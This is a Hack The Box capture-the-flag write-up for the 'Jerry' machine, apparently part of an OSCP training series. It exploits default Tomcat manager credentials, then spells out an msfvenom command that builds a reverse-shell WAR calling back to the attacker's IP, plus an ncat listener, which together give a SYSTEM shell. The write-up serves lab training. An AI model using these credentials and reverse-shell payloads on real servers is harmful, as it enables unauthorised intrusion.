Hack the Box is an online platform to test and advance your skills in penetration testing and cyber security.
In this series of articles we will show how junior evaluators complete some Hack The Box machines in their road to OSCP, a well-known, respected, and required for many top cybersecurity positions certification. Certified OSCPs are able to identify existing vulnerabilities and execute organized attacks in a controlled and focused manner. They can leverage or modify existing exploit code to their advantage, perform network pivoting and data exfiltration, and compromise systems due to poor configurations.
Let's start with the fun!
Jerry
Initial Foothold
Enumerating the web page on port 8080 we stumble upon http://10.10.10.95:8080/manager/status.
It asks for authentication and if we click on "cancel", we receive a 401 (unauthorized).
However, the message gives an example of adding credentials to the Tomcat configuration:
tomcat:s3cret. It turns out, those are actually valid credentials to enter that same page.
401 message (truncated)
If you have not changed any configuration files, please examine the file conf/tomcat-users.xml in your installation. That file must contain the credentials to let you use this webapp.
For example, to add the admin-gui role to a user named tomcat with a password of s3cret, add the following to the config file listed above.So we manage to access the server status. It has a bunch of info:
- Apache Tomcat Version
7.0.88. - Os name:
Windows Server 2012 R2. - Os architecture:
amd64. - Os version:
6.3. - JVM version:
1.8.0_171-b11. - Hostname:
JERRY.
Root
If we now go to http://jerry:8080/manager/html/list, we find that we can upload WAR files. Maybe
we can exploit this somehow.
Yep, we can, following this blog.
- Generate payload:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.17 LPORT=6969 -f war > shell.war. - Set up listener:
ncat -lnvp 6969. - Upload the file
shell.war. - Our file should now appear on the list, click on the name.
We have successfully spawned a shell as nt authority\system.
